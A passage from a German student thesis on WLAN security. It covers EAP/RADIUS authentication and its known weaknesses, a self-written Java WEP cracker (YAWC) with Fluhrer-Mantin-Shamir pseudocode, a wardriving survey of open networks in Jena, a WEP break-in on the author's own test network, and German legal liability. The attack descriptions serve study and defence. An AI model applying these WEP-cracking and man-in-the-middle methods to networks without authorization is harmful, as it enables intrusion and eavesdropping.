wäre jedoch, ganz auf PSK zu verzichten und sich anderer Zertifikate zu
bedienen. Ist dies nicht möglich, sollte man zumindest einen gut gewählten
PSK verwenden.
1.4 Authentifizierung
Nicht nur die Kommunikation selbst sollte auf geschützten Wegen passieren, auch die Authentifizierung der Netzwerkteilnehmer bedarf hoher Sicherheit. Der kürzlich veröffentlichte 802.1x-Substandard und die bereits
bestehenden Verfahren mit RADIUS und EAP sind nur zwei der Möglichkeiten, ein gewisses Maß an Sicherheit bei der Anmeldung im Netzwerk zu
gewährleisten.
802.1x
Dieser erst kürzlich veröffentlichte Standard beschreibt die portbasierte
Zugangskontrolle für WLANs als Teil der RSN-Sicherheitsarchitektur. Der
Grundaufbau beinhaltet drei wesentliche Teile, zwischen denen die Authentifizierung abläuft: der Client, der Authentifizierer und der Authentifizierungsserver (AS). Basis der Kommunikation ist das Extendible Authentication Protocol (EAP). Die Nachrichten werden mittels EAPol (EAP over
LAN) gekapselt und mithilfe eines Remote Access Dial In User Service
(RADIUS) – Server übertragen.
EAP & RADIUS
Beim Extendible Authentication Protocol wird während der Verbindung ein
Identitätscheck zwischen Server und Client durchgeführt, welcher bei einem Fehler abgebrochen wird. Somit ist ein Schutz vor wilden APs gegeben. Als positiver Nebeneffekt wird zudem ein WEP-Schlüssel installiert.
Das Verfahren der Authentifizierung, EAP-TLS, ist ein Zertifikatsaustausch zwischen Client und Server. Es wird ein Tunnel aufgebaut, ein Radiusserver sendet einen Sitzungsschlüssel an den AP. Dieser übernimmt
nun den Tunnel und versendet den WEP-Schlüssel entweder individuell
(Speichertabelle im AP mit MAC-Adressen und Schlüsseln) oder als Gruppenschlüssel (4 vordefiniert, einer wird verwendet) an die Clients.
Es werden vier grundlegende Nachrichtentypen verwendet: EAP-Request,
welche vom AS über den Authentifizierer an den Client gesendet werden,
19
EAP-Response, welche die darauffolgende Antwort des Clients beinhaltet,
EAP-Success, wodurch der Client eine erfolgreiche Authentifizierung bestätig bekommt und EAP-Failure, womit einen misslungene Authentifizierung bestätigt wird.
Die Nachrichten werden dann in EAPoL-Nachrichten gekapselt, um sie
über das LAN zu transportieren. Auch hier kommen vier tragende Nachrichtentypen zum Einsatz: EAPoL-Start ist die Authentifizierungsanfrage
des Clients an den AS. EAPoL-Key ist für die Übermittlung der Schlüssel
von Authentifizierer an den Client zuständig. EAPol-Packet dient der eigentlichen Übertragung der EAP-Pakete, es stellt den Container für die
Kapselung. EAPoL-Logoff dient der Abmeldung des Clients. Er meldet
dem Authentifizierer das Verlassen des Netzwerkes.
Für die serverseitige Authentifizierung werden RADIUS-Nachrichten verwendet. Dies sind Access-Request für die Einleitung der Authentifizierung,
Access-Challenge mit der verwendeten Authentifizierungsmethode, Access-Accept bei bestätigter Challenge und Access-Reject bei misslungener
Anmeldung.
Client
Authentifizierer
EAPoL-Start
EAPol-Packet
(EAP-Request)
EAPol-Packet
(EAP-Request)
Access-Request
(EAP-Response)
EAPol-Packet
(EAP-Request)
Access-Challenge
(EAP-Request)
EAPol-Packet
(EAP-Response)
Access-Request
(EAP-Response)
EAPol-Packet
(EAP-Success)
Access-Accept
(EAP-Success)
EAPoL-Key
Access-Accept
(Receive-Key)
Abbildung 1.5. Authentifizierung über EAP
20
AS
Der gesamte Ablauf der Authentifizierung über EAP mithilfe von EAPoL
und RADIUS ist in Abbildung 1.5 verdeutlicht.
Auch bei diesem Verfahren gibt es bekannt gewordene Schwachstellen. Bei
einer ARP-Poisoning-Attacke und mithilfe eines gefälschten Deauthentication-Pakets kann man die Übertragung der Sitzungsschlüssel zwischen
AP und Radius-Server mitschneiden und dann in aller Ruhe eine Entschlüsselung über ein Wörterbuch-Attacke versuchen, Tools wie Cain & Abel
helfen dabei (heise Newsletter 49484).
Auch Man-In-The-Middle-Attacken sind von Erfolg gekrönt, da der AP nur
den Client authentifiziert, aber nicht umgekehrt. Somit kann sich ein Angreifer einem Client gegenüber als AP und diesem gegenüber als Client
ausgeben. Der gesamte Datenverkehr kann nun inspiziert und manipuliert
werden. Client und AP selbst bekommen davon oft gar nichts mit.
Dasselbe ist der Fall bei folgendem Angriff: der Angreifer gibt vor, der AP
zu sein und sendet eine Logoff-Nachricht an den Client. Dieser glaubt nun,
er sei abgemeldet und der Angreifer kann die noch bestehende Sitzung des
Clients übernehmen. Der eigentliche AP bekommt auch hier von all dem
nichts mit. (heise Newsletter 24925)
Authentifizierung jenseits der MAC-Schicht
In Verbindung mit EAP bieten die folgenden Verfahren eine komplette
Lösung für die vollständige Authentifizierung in WLANs auf Basis von
802.1x.
Das Transport Layer Security (TLS) basiert auf SSL und setzt Zertifikate
für die Kommunikation ein. Die Sicherheit wird dadurch stark erhöht, dennoch ist die Verwaltung der Zertifikate sehr aufwendig. In Verbindung mit
EAP wurde TLS unter dem Namen EAP-TLS in einen eigenen Standard
integriert. [AS99]
EAP Tunneled TLS (EAP-TTLS) nutzt ebenfalls den Zertifikatsaustausch, Clients müssen sich einer Benutzeranmeldung unterziehen. Ein zusätzliches Feature ist Rekeying. Hier kann der AP den Schlüssel über einen
bestimmten Tunnel ändern. Der Nachteil hierbei ist ebenfalls die Verwaltung des Radiusservers und der Zertifikate.
Kerberos werden in Verbindung mit IP-basierten Netzwerken verwendet.
Sie benutzen eine Art Ticketvergabe, bei der für jeden Dienst ein einzelnes,
zeitlich begrenztes Ticket bereitgestellt wird. Leider sind in Verbindung mit
Kerberos einige Sicherheitslücken bekannt geworden, sodass man von ihrer
Verwendung absehen sollte.
Light EAP (LEAP) und Protected EAP (PEAP) sind spezifische Erweiterungen von EAP: LEAP ist ein Produkt von Cisco und erweitert das Challenge-Response-Verfahren MS-CHAP, womit eine gegenseitige Authentifizierung und der Austausch eines Session Keys möglich sind. PEAP ver21
wendet das bereits erwähnte TLS um eine sichere Verbindung aufzubauen.
Erst dann wird im TLS-gesicherten Kanal die vollständige Authentifizierung durchgeführt. Somit wird eine vollständige Anonymität auf Seiten des
Client erreicht und die bestehende Schwäche von EAP bei EAP-Identityund EAP-Success-Nachrichten beseitigt.
22
2 Praktische Anwendung
Programmdokumentation
Das begleitende Programm dieser Arbeit wurde entworfen, um die Schwächen der WEP-Verschlüsselung aufzuzeigen, und auszunutzen.
YAWC (Yet Another WEP Cracker) ist in Java geschrieben und implementiert einen Angriff auf die Schwachstellen im RC4-Design. Es werden
verschlüsselte Pakete gesammelt, die mit ein und demselben Schlüssel und
unterschiedlichen IVs codiert wurden. Hierbei spielen nur bestimmte IVs
eine Rolle, welche nach [FMS01] die Ausgabe des RC4-Algorithmus
übermäßig stark beeinflussen. Dies sind IVs, deren erstes Byte einen Wert
zwischen 3 und 15 und deren zweites Byte den Wert 255 hat. Pro Wert zwischen 3 und 15 werden etwa 60-100 Pakete benötigt. Zusätzlich braucht
man noch das erste Byte des Chiffrats, das standardmäßig auf 0xAA gesetzt
ist. Insgesamt müssen etwa vier bis sechs Million Pakete mitgeschnitten
werden damit der Angriff von Erfolg gekrönt ist.
Im Einzelnen besteht YAWC aus zwei Klassen: Sniffer.java und Filter.java.
Diese werden für die Umsetzung ebenso benötigt wie die Java-Bibliothek
jpcap (Download unter [JPC05]), die aktuelle Java SDK j2sdk1.5
(Download unter [JSD05]) und für den Betrieb unter Windows die pcapBibliothek WinPcap (Download unter [WPC05]), die die Verwaltung der
pcap-Dateien übernimmt.
Um das Programm zu nutzen, muss man zunächst die beiden Klassen Sniffer und Filter übersetzen, über die Konsole oder – wie im Rahmen dieser
Arbeit – mit einer Entwicklungsumgebung wie eclipse.
Sniffer.java sucht sich die Netzwerkschnittstelle und beginnt dann mit dem
Sniffen der benötigten 6 Millionen Pakete. Jedes Paket wird separat gelesen
und verarbeitet. Ein FileWriter schreibt aus jedem Paket die Bytes 5 bis 8 in
ein Log-File. Dieses wird später für das Bestimmen des Schlüssels benötigt.
Abbildung 2.1. Screenshot Sniffer.java nach erfolgreichem Abschluss
23
Sind die benötigten Pakete eingelesen worden, kann es mit dem Filtern der
Weak IVs und dem Berechnen des Schlüssels weitergehen. Dazu wird das
Log-File der Klasse Filter.java übergeben. Hier wird nun nach dem von
Fluhrer, Mantin und Shamir gefundenen Algorithmus verfahren [FMS01].
RecoverWEPKey()
Key[0 . . . KeySize] = 0
for KeyByte = 0. . .KeySize
Counts[0 . . . 255] = 0
foreach packet → P
if P.IV ∈ {(KeyByte + 3, 0xFF,N) | N | 0x00 . . . 0xFF}
Counts[SimulateResolved(P,Key,KeyByte)]+ = 1
Key[KeyByte] = IndexOfMaximumElement(Counts)
return Key
SimulateResolved(P,Key,KeyByte)
K = P.IV · Key
For i = 0. . . N − 1
S[i] = i
For i = 0. . . KeyByte
j = j + S[i] + K[imodl]
Swap(S[i], S[j])
return S−1B+2[P.Out] − jB+2 − SB+2[B + 3]
Abbildung 2.2. Pseudocode für die Attacke nach Fluhrer, Mantin, Shamir
Die Datei wird zeilenweise eingelesen und die IVs werden zunächst auf
Weakness geprüft. Fällt ein IV unter die benötigten Kriterien wird er dem
eigentlichen Verfahren übergeben dass rückwärtig durch Berechnen der
Permutationen den Schlüssel bestimmt.
Abbildung 2.3. Screenshot Filter.java nach erfolgreichem Abschluss
Alle benötigten Parameter wie etwa die Anzahl der einzulesenden Pakete
oder der Dateiname des Log-File sind bereits vorher festgesetzt, können
aber vom User im Programm beliebig geändert werden.
24
Offene Netze am Studienstandort
Um einen Überblick zu bekommen, wie es in Jena um die WLANSicherheit steht, soll eine Karte mit den aufgestellten Access Points und
Hot Spots erstellt werden.
Dazu wurde ein handelsübliches Notebook mit einer WLAN-Karte mit
Prism2-Chipsatz und einem GPS-Empfänger von Navilock mit EvermoreChipsatz ausgestattet.
Das Tool NetStumbler sammelt nun alle notwendigen WLAN-Daten und
generiert eine Liste von Access-Points. Dies geschieht, indem kontinuierlich Probe-Requests auf allen Kanälen ausgesendet werden. Die Access
Points antworten dann mit Paketen, die alle benötigten Informationen beinhalten: SSID, MAC-Adresse, Sendekanal und WEP-Status.
Diese Liste wird in StumbVerter importiert, wo mit Hilfe der GPS-Daten
eine Karte erstellt werden kann, die alle aufgespürten WLAN-Netze verzeichnet.
Am 3.und 4. August 2005 wurde das Projekt in Angriff genommen und
nach etwa 4h und 45km stand das Ergebnis fest: 462 gefundene Netze, von
denen 119 völlig ungeschützt waren, was immerhin 26 % der gesamten
Netze ausmacht. Die restlichen greifen auf WEP oder höhere Verschlüsselungsalgorithmen zurück. Des weiteren benutzten 46 WLANs die default
SSID, andere ließen Schlüsse auf das Netzwerk selbst zu („Arztpraxis Dr
....“ oder „Büro ...“). Besagte Arztpraxis verzichtete übrigens auf jegliche
Verschlüsselung, wodurch ein Zugriff auf das gesamte Netz möglich wäre
und sensible Daten ausspioniert werden könnten. Das Ergebnis ist in Abbildung 2.2. zu sehen, wobei sich hinter einem Turm mehrere Netze verbergen
können, da GPS nur auf 10m genau ist und der Maßstab der Karten in
StumbVerter nicht sehr klein ausfällt. Anzumerken ist noch, dass die
WLAN-Karte nur auf 22 MBit 802.11b lief, was vermuten lässt, dass weit
mehr Netze in Jena aufgebaut sind als die Karte feststellen konnte. Mit einer 108 MBit Karte auf 802.11g Basis könnte das Ergebnis weitaus umfangreicher ausfallen. Die prozentualen Werte von Verschlüsselung und
default-SSID sollten jedoch relativ repräsentativ sein.
25
Abbildung 2.2. WLANs am Studienstandort Jena
Angriff auf ein WEP-geschütztes Netz
Trotz der zahlreichen aufgespürten Netze am Studienstandort Jena wurde
aus rechtlichen Gründen darauf verzichtet, in eines dieser Netze einzubrechen. Statt dessen wurde dies an einem eigens für das Projekt aufgestelltem
Heimnetzwerk getestet. Dazu dienten ein DSL-Router mit eingeschalteter
WEP64-Verschlüsselung und festgesetztem Key, einem Desktop-PC mit
PCI-WLAN-Karte und ein Notebook mit PCMCIA-WLAN-Karte. Das
Notebook fungierte hierbei als Einbrecher. Aus diesem File wurde die IVListe generiert, mit dessen Hilfe dann mit YAWC der Schlüssel bestimmt
wurde.
Das Sniffen selbst nahm die meiste Zeit in Anspruch: etwa 8h. Es würde
noch länger dauern, wenn das Netzwerk nicht zusätzlich belastet wurde mit
Dauer-Ping und Datenanfragen. Das Schlüsselberechnen mit dem Log-File
dauerte etwa 2min auf einem 64 Bit Desktop-PC mit 3 GHz und 1GB Arbeitsspeicher.
26
Aufspüren von Angreifern im eigenen Netz
Wenn man sein eigenes WLAN eingerichtet hat, möchte man natürlich vor
Angreifern geschützt sein. Das gelegentlich Freizeitsurfer versuchen, sich
in vorhandenen Netzen einzuloggen, ist mittlerweile Alltag geworden. Und
wenn man die beschriebenen Sicherheitsmaßnahmen auch nutzt und sie
ordnungsgemäß einrichtet, ist der Schutz vor Gelegenheitssurfern auch gegeben.
Aber wie schützt man sich gegen Profis, solche, die die angesprochenen
Sicherheitslücken bewusst ausnutzen, um Zugang zu bekommnen oder das
Netz einfach nur lahmlegen wollen? Wie bereits erwähnt, ist dies bei bestimmten Attacken in Verbindung mit den richtigen Sicherheitsverfahren
nahezu unmöglich. Dennoch versprechen bestimmte Firmen mit ihrer Software, solche WLAN-Piraten und wilden APs zu finden. Die Firma Computer Associates hat bereits eine beta-Version ihres Wireless Site Management
(WSM) veröffentlicht. Das Programm ermittelt unauthorisierte Netzwerkteilnehmer mit einer Dreiecksberechnung aus Signalstärke und den Standorten authorisierter Clients und APs. Es arbeitet somit mit der vorhandenen
Hardware und kommt ohne zusätzliche Sensoren aus. Die Software wird
auf jedem Client installiert und übernimmt dort die zeitliche und räumliche
Verwaltung des Zugangs. Gefundene Eindringlinge werden gemeldet und
gesperrt. Positive Nebeneffekte sind die Verwaltung von WEP-Schlüsseln,
die interferenzfreie Verteilung der Frequenzen auf die APs und das sogenannte Load-Balancing, die gleichmäßige Verteilung der Netzlast auf alle
Clients. Leider findet diese Software nicht alle Eindringlinge.
Um sich selbst gegen evtl. anstehende rechtliche Probleme bei unauthorisierten Zugriffen zu schützen, sollte man den gesamten Netzwerkverkehr
mitloggen, um Angreifer frühzeitig zu erkennen und gegebenenfalls nachweisen zu können, das man keine Kenntnis von Angreifern hatte (siehe
folgendes Kapitel).
Wie man mit den gefundenen „Verbrechern“ verfährt, ist jedem selbst überlassen. Kennt man dessen Identität, ist man mit einer Anzeige gut beraten,
da die Strafen für das Knacken von gesicherten Netzen und damit verbundenen illegalen und kriminellen Handlungen nicht gerade niedrig sind (vgl.
Kapitel 3).
27
3 Rechtliche Grundlagen
Die heutige Hardware für Wireless LANs wird so verkauft, dass sie nach
dem Auspacken sofort in Betrieb genommen werden kann. Leider befassen
sich dann die wenigsten mit den zu treffenden Sicherheitsvorkehrungen
oder nehmen an, dass die Voreinstellungen sicher genug sind.
Die Frage ist nun, was dem Betreiber des AP blüht, wenn ein Dritter Zugang zum Netz bekommt und eine eventuell strafbare Handlung begeht.
Nach §9 des Teledienstgesetzes gilt der Inhaber eines APs als Provider und
ist grundsätzlich nicht für die Handlungen und Inhalte seiner Kunden verantwortlich. Somit ist der Inhaber eines WLANs nicht haftbar zu machen
bei illegalen Handlungen, die durch Dritte ohne eigene Kenntnis verübt
werden.
Allerdings sieht dies in der Praxis schon anders aus. Wenn strafbare Handlungen festgestellt werden, werden alle Anfragen zunächst an den Betreiber
weitergeleitet. Das liegt daran, dass nach außen hin nur der Betreiber selbst
mit der IP sichtbar ist. Die Clients arbeiten im privaten Subnetz und können
nach außen nicht identifiziert werden. Somit landen alle Anschuldigungen
zunächst beim Inhaber, der dann die Nachweispflicht hat, dass er nicht
selbst gehandelt hat.
Bei Zivilverfahren muss jede Seite die für sich günstigsten Fakten darlegen
und sich selbst entlasten. Hat ein WLAN-Betreiber nun eine solche zivilrechtliche Klage anstehen, so liegt es an ihm, den gesamten Datenverkehr
des WLANs offen zu legen, um den unauthorisierten Nutzer zu identifizieren, Dies ist jedoch nur möglich, wenn der gesamte Datenverkehr mitgeloggt wird. Dazu müssen alle Clients ihr Einverständnis geben, dann kann
anhand der MAC-Adresse selektiert werden.
Etwas anders ist es bei Strafverfahren. Hier liegt die Beweispflicht bei der
Staatsanwaltschaft. Allerdings gilt die IP dabei nur als ausschlaggebend für
die Anklageerhebung, für eine Verurteilung müssten weitere belastende
Punkte vorlegt werden, damit eindeutig gesagt werden kann, dass der
Betreiber selbst die Verantwortung trägt.
Leider haben solche Verfahren auch bei Freisprüchen unangenehme Nebenwirkungen wie Stilllegung des Netzes, Beschlagnahmung von Rechnern, Hausdurchsuchungen und die entsetzten Blicke der Nachbarn und
Freunde bei größerem Polizeiaufgebot.
Bei einem Punkt jedoch steht die Haftung des Betreibers außer Frage: bei
der Zahlungspflicht gegenüber dem Internetprovider. Bei begrenzten Flatrates auf Zeit oder Volumen muss stets die Datenmenge oder der Nutzungszeitraum kontrolliert und protokolliert werden um in etwaigen juristischen
Fragen abgesichert zu sein.
28
Auf der Gegenseite sieht es schon anders aus. Das Eindringen in ein ungeschütztes Netzwerk ist nach derzeitigem juristischen Stand nicht strafbar.
Lediglich die Rückerstattung von entstandenen Kosten und ein Unterlassungsantrag können einem erwischten Schwarzsurfer bevorstehen.
Ist das Netz gegen unbefugten Zugriff geschützt, sieht es schon anders aus.
Beim Umgehen sicherheitstechnischer Einrichtungen wie WEP oder MACKontrolle liegt nach §265a StGB das Erschleichen von Leistungen vor.
Werden dann auch noch Daten manipuliert oder geschädigt, kommen weitere Anklagepunkte hinzu: die Veränderung von Daten nach §303a StGB,
die Sabotage von Datengeräten nach §303c StGB oder das Ausspähen von
Daten nach §202a StGB. Sind dabei Geschäftsdaten betroffen, kommt
eventuell noch eine Anklage wegen unlauteren Wettbewerb nach §17
UWG hinzu. Es ist also alles andere als ein Kavaliersdelikt, sich zu geschützten WLANs Zugriff zu verschaffen.
In der Realität sieht es so aus, dass erwischte Schwarzsurfer häufig Anzeigen wegen dem Erschleichen von Leistungen oder dem Ausspähen von
Daten bekommen, die resultierenden Verfahren jedoch meist wegen mangelndem öffentlichen Interesse nach §153 Strafprozessordnung (StPO)
eingestellt werden.
Fakt ist, dass ein WLAN-Betreiber nach §87 TKG (Telekommunikationsgesetz) verpflichtet ist, umfassende Sicherheitsmaßnahmen gegen Eindringen und Abhören zu treffen. Der Datenschutz muss gewährleistet sein. Die
Praxis zeigt jedoch, dass nicht einmal jeder zweite sein Netz ausreichend
schützt. (c’t: Offene Funknetze: Schwarz-Surfen)
29
4 Fazit
Während der Entstehung dieser Arbeit wurde immer mehr deutlich, dass es
fast unmöglich ist, hundertprozentige Sicherheit zu gewährleisten. Jedes
neue Sicherheitsverfahren weist früher oder später Schwachstellen auf. Das
liegt auch daran, dass die Technik immer weiter fortschreitet, die Rechner
werden immer schneller, und theoretische Angriffe, die heute auf dem Papier noch unendliche Rechenzeit benötigen, sind in naher Zukunft vielleicht
schon in der Praxis umsetzbar.
Die momentan sicherste Variante ist wohl RSN. Die integrierte AESVerschlüsselung ist bisher noch relativ ungefährdet, auch wenn japanische
Wissenschaftler, zumindest theoretisch schon eine Schwachstelle entdeckt
haben.
Doch da weder jeder WLAN-Benutzer die angemessene Hardware hat,
noch sich genug mit der Materie auskennt, ist es unbedingt notwendig, bestimmte Mindestschutzmaßnahmen zu ergreifen.
Zuerst sollte man alle standardisierten Werte ändern, die in Hard- und
Software integriert sind. Die Passwortvorgabe für die Administratoranmeldung auf dem AP sollte so geändert werden, dass es einem Wörterbuchangriff keine Chance gibt, etwa durch die Verwendung von Sonderzeichen.
Ebenso sollt der Name des Netzes (SSID) dahingehend geändert werden,
dass keine Rückschlüsse auf den Nutzer möglich sind (Firmenname, UniNetz, etc.). Damit in Verbindung sollte das SSID-Broadcast ausgeschaltet
werden, sodass der Netzname nach außen hin nicht sichtbar ist. Falls möglich sollte man die MAC-Adressen-Filterung und die WEP-Verschlüsselung
anschalten. Des weiteren ist es hilfreich, den DHCP-Server des AP abzuschalten, die Sendeleistung des AP auf das Einsatzgebiet zu beschränken
und die WEP Schlüssel gelegentlich zu wechseln. Normale Gelegenheitssurfer werden hiermit schon abgeschreckt.
Will man jedoch ein Firmennetz oder einen öffentlichen Hot-Spot einrichten, sollte man ein höheres Level an Sicherheit anstreben, etwa mit WPA
oder RSN. Aber auch hier ist auf die Verwendung geeigneter - WörterbuchAttacken gegenüber robuster - Passwörter zu achten.
Die sicherste Variante ist jedoch ein VPN in Verbindung mit IPSec und
SSL. Da hier jedoch die Konfiguration sehr anspruchsvoll ist und die Einrichtung einige Fachkenntnis erfordert, bleibt dies erfahrenen Benutzern
vorbehalten. Zusätzlich bringt diese Art des Schutzes einen PerformanceVerlust, sodass es nur bei WLANs mit hohen Brutto-Übertragungsraten
Sinn macht (≥54 MBit).
Alles in allem ist es in der heutigen Welt jedoch unabdingbar, sein WLAN
so gut wie möglich zu schützen, wenn man nicht auf eine kabelgebundene
Variante zurückgreifen kann. Naive Ansichten wie „ich werde schon nicht
angegriffen“ oder „mein Netz interessiert sowieso niemanden“ sind hier
30
Fehl am Platz und bringen in vielen Fällen nur ungewollten Ärger, den man
sich mit ein wenig Arbeit ganz leicht hätte ersparen können. Und da der
Gesetzgeber auch noch keine einheitlichen Regelungen vorgesehen hat,
kann diese Naivität auch schnell eine Strafsache nach sich ziehen.
31
Abkürzungen
AES . . . . . . . . . . . . . Advanced Encryption Standard
AP . . . . . . . . . . . . . . Access Point
C . . . . . . . . . . . . . . . . Cyphertext
CBC . . . . . . . . . . . . . Cipher Block Chaining
CBC-MAC . . . . . . . CBC – Message Authentication Code
CCK . . . . . . . . . . . . . Complementary Code Keying
CCM . . . . . . . . . . . . CTR/CBC MAC
CCMP . . . . . . . . . . . CTR/CBC-MAC Protocol
CRC . . . . . . . . . . . . . Cyclic Redundancy Check
CTR . . . . . . . . . . . . . CounTeR
DES . . . . . . . . . . . . . Data Encryption Standard
DLL . . . . . . . . . . . . . Data Link Layer
DoS . . . . . . . . . . . . . Denial of Service
EAP . . . . . . . . . . . . . Extensible Authentication Protocol
EAPOL . . . . . . . . . . EAP Over LAN
FMS . . . . . . . . . . . . . Fluhrer-Mantin-Shamir
FPK . . . . . . . . . . . . . Fast Packet Keying
GMK . . . . . . . . . . . . Group Master Key
HTTP . . . . . . . . . . . . HyperText Transfer Protocol
HTTPS . . . . . . . . . . . HTTP Secure
ICV . . . . . . . . . . . . . . Integrity Check Value
ID . . . . . . . . . . . . . . . IDentification
IEEE . . . . . . . . . . . . . Institute of Electrical and Electronics Engineers
IETF . . . . . . . . . . . . . Internet Engineering Task Force
IP . . . . . . . . . . . . . . . Internet Protocol
IPsec . . . . . . . . . . . . IP security
IPX . . . . . . . . . . . . . . Internet Packet EXchange
IV . . . . . . . . . . . . . . . Initialization Vector
K . . . . . . . . . . . . . . . . Key
LAN . . . . . . . . . . . . . Local Area Network
LEAP . . . . . . . . . . . . Light EAP
M . . . . . . . . . . . . . . . Message
MAC . . . . . . . . . . . . Medium Access Control
MIC . . . . . . . . . . . . . Message Integrity Code
PEAP . . . . . . . . . . . Protected EAP
PMK . . . . . . . . . . . . Pairwise Master Key
PRNG . . . . . . . . . . . Pseudo-Random Number Generator
PSK . . . . . . . . . . . . . PreShared Key
RADIUS . . . . . . . . . Remote Authentication Dial In User Service
RFC . . . . . . . . . . . . . Request For Comments
RSN . . . . . . . . . . . . . Robust Security Network
32
SHA . . . . . . . . . . . . . Secure Hash Algorithm
SSH . . . . . . . . . . . . . Secure SHell
SSID . . . . . . . . . . . . . Service Set IDentifier
SSL . . . . . . . . . . . . . . Secure Socket Layer
SSN . . . . . . . . . . . . . Safe Secure Network
TCP . . . . . . . . . . . . . .Transmission Control Protocol
TGi . . . . . . . . . . . . . . Task Group i
TK . . . . . . . . . . . . . . Temporal Key
TKIP . . . . . . . . . . . . Temporal Key Integrity Protocol
TLS . . . . . . . . . . . . . . Transport Layer Security
TTLS . . . . . . . . . . . . Tunneled TLS
UMTS . . . . . . . . . . . Universal Mobile Telecommunications Systems
VPN . . . . . . . . . . . . . Virtual Private Network
WAN . . . . . . . . . . . . Wide Area Network
WEP . . . . . . . . . . . . . Wired Equivalent Privacy
Wi-Fi . . . . . . . . . . . . Wireless-Fidelity
WLAN . . . . . . . . . . . Wireless LAN
WPA . . . . . . . . . . . . Wi-Fi Protected Access
WPA2 . . . . . . . . . . . WPA v2
33
Glossar
Adavnced Encryption Standard (AES)
neuestes Verschlüsselungsverfahren in 802.11i, welches einen 128 Bit
Schlüssel benutzt und VoIP unterstützt
Denial-Of-Service-Attacke (DoS)
hierbei werden ein oder mehrere Dienste lahmgelegt, meist durch Überlastung
Extendible Authentication Protocol (EAP)
Authentifizierungs-Protokoll bei WLAN, unterstützt verschiedene Authentifizierungsmechanismen
EAP-TLS
Zertifikatsaustausch zwischen Client und Server unter Verwendung eines
Tunnels
Fast-Package-Keying (FPK)
spezielles Verfahren zur Vermeidung von IV-Kollisionen
Hashfunktion
nicht umkehrbare Funktion, die eine lange Eingabe in eine kurze Ausgabe
umrechnet
Message Authentication Code (MAC)
dient der Integritätssicherung einer Nachricht, der Klartext wird mit einem
Schlüssel verknüpft und darauf dann eine Hashfunktion angewendet
Michael
in WPA integrierter Hash-Algorithmus, der einen Integritätscheck berechnet (MIC)
Michael Integrity Check (MIC)
von Michael berechneter Integritätscode
Pseudo Random Functions (PRF)
mit Hashfunktionen arbeitende Funktion, die einen n Bit langem Ausgabestrom erzeugt
Pseudo Random Number Generator (PRNG)
Bestandteil von WEP, welcher der Erzeugung von Zufallszahlen dient
34
Remote Authentication Dial-In User Service (RADIUS)
Client-Server-Protokoll zur Authentifizierung in Netzwerken
Robust Security Network (RSN)
Bestandteil von 802.11i , beinhaltet neuestes Verschlüsselungsverfahren
AES mit eigenem Protokoll (CCMP)
Schlüssel
Information um einen gegebenen Text zu ver- oder entschlüsseln, meist
bestehend aus Zahlen oder Buchstaben
Secure Hash Algorithm (SHA-1)
Gruppe standardisierter kryptographischer Hash-Funktionen.
Secure Socket Layer (SSL)
Verschlüsselungsprotokoll für Datenübertragungen im Internet, im WLANBereich als TLS bekannt
Service Set Identifier (SSID)
Name des WLANs, vergebbar durch den Administrator
Strom-Chiffrier-Algorithmus
ver- oder entschlüsselt Nachrichten Bit für Bit im Gegensatz zum Blockchiffrierer, der in gleich großen Blöcken arbeitet
Temporary Key Integrity Protocol (TKIP)
verwendet den RC4-Algorithmus für die Verschlüsselung von WLANs,
jedoch mit temporärer Schlüsseländerung
Virtual Private Network (VPN)
Verbindung von Rechnern mit einem virtuellen Tunnel und mithilfe von
gekapselten Datenpaketen
Wired Equivalent Privacy (WEP)
Standard-Verschlüsselungsalgorithmus für WLANs, aufgrund verschiedener Schwachstellen sehr unsicher
35
Literaturverzeichnis
[AS99]
Aboba B. und D. Simon (1999): PPP EAP TLS Authentication Protocol ftp://ftp.isi.edu/in-notes/rfc2716.txt
[AG04]
A. Gottschalk (2004): Wireless LAN, Goodbye Kabelsalat
[FMS01]
S. Fluhrer, I. Martin, A. Shamir (2001): Weaknesses in the
key scheduling algorithm of RC4
[JPC05]
http://sourceforge.net/projects/jpcap/
Project Homepage von jpcap
[JSD05]
http://java.sun.com/j2se/1.5.0/download.jsp
Java Sun Software Download der neuesten APIs...
[WPC05]
http://www.winpcap.org
Project Homepage WinPcap
Andrew A. Vladimirov, Konstantin V. Gavrilenko, Andrei A. Mikhailovsky (2004): Wi-Foo The Secrets Of Wireless Hacking, Addison Wesley
J. Pieprzyk (2002): Fundamentals Of Computer Security
http://grouper.ieee.org/groups/802/11/
Seite des IEEE für Wireless LAN nach 802.11
http://www.heise.de/newsticker/
Seite des heise-Verlages mit aktuellen Meldungen zu Wireless LAN
http://www.wi-foo.com
„Secrets of Wireless Hacking, Recon and Attack Tools“
c’t 04/2002, Michael Schmidt: Report: WLAN-Sicherheit:
Datenpanzer
c’t 13/2004, Joerg Heidrich: Report: Offene Netze: Recht,
Mini-Provider und Schwarz-Surfer
36
http://de.wikipedia.org
Homepage der WIKIPEDIA, Stichwortverzeichnis, Lexikon
http://www.rfc-editor.org/rfc.html
RFC 3770 – Zertifikate für Wireless LAN
Schiller (2003): Mobilkommunikation, Pearson, 2.Auflage
Gesetz über die Nutzung von Telediensten (TDG) vom
22.07.1997, BGBl I 1997, 1870, geändert 14.12.2001, BGBl
I, 3721
Telekommunikationsgesetz (TKG), Fassung der Bekanntmachung vom 22.06.2004, BGBl I 2004, 1190, geändert
07.07.2005, BGBl I, 1970
Strafgesetzbuch (StGB), Fassung der Bekanntmachung vom
13.11.1998, BGBl I 1998, 3322, geändert 01.09.2005, BGBl
I, 2674
Strafprozessordnung (StPO), Fassung der Bekanntmachung
vom 07.04.1987, BGBl I 1987, 1074, 1319, geändert
12.08.2005, BGBl I 2005, 2360
Gesetz gegen den unlauteren Wettbewerb (UWG), vom
03.07.2004, BGBl I 2004, 1414,
37
Literaturverzeichnis
802.11
802.11a
802.11b
802.11d
802.11e
802.11f
802.11g
802.11h
802.11i
802.11j
802.1x
AES
AES-CCM
Aggressive Mode
Angriff
Anonymität
ARP-Poisoning-Attacke
Authentifizierung
Authentifizierungsserver
Authentizität
Brute Force
CBC-MAC
CCM
CCMP
Challenge-Response-Verfahren
CRC-Prüfsumme
DES
DoS
EAP
EAP Tunneled TLS
Erweiterungen
Fluhrer, Mantin, Shamir
FMS
FPK
Gateway
GPS
Group Key Handshake
Hashfunktion
ICV
IKE-Handshake
Integrität
6
6
6
6
6
6
6
6
6
6
6, 9
6, 9, 17, 19
17
18
10
7
21
13, 19
9
7
10
17
9
9
12
12
18
11
6, 17, 19
22
6
13, 24
13, 24
14
18
25
16
7
9
18
7
38
Integritätscode
Invariance Weakness
IPsec
ISO-OSI-Referenzmodell
IV
IV Weakness
IV-Sequenz
Kerberos
Key-Mixing
Known-Ciphertext-Attacke
Known-Plaintext-Attacke
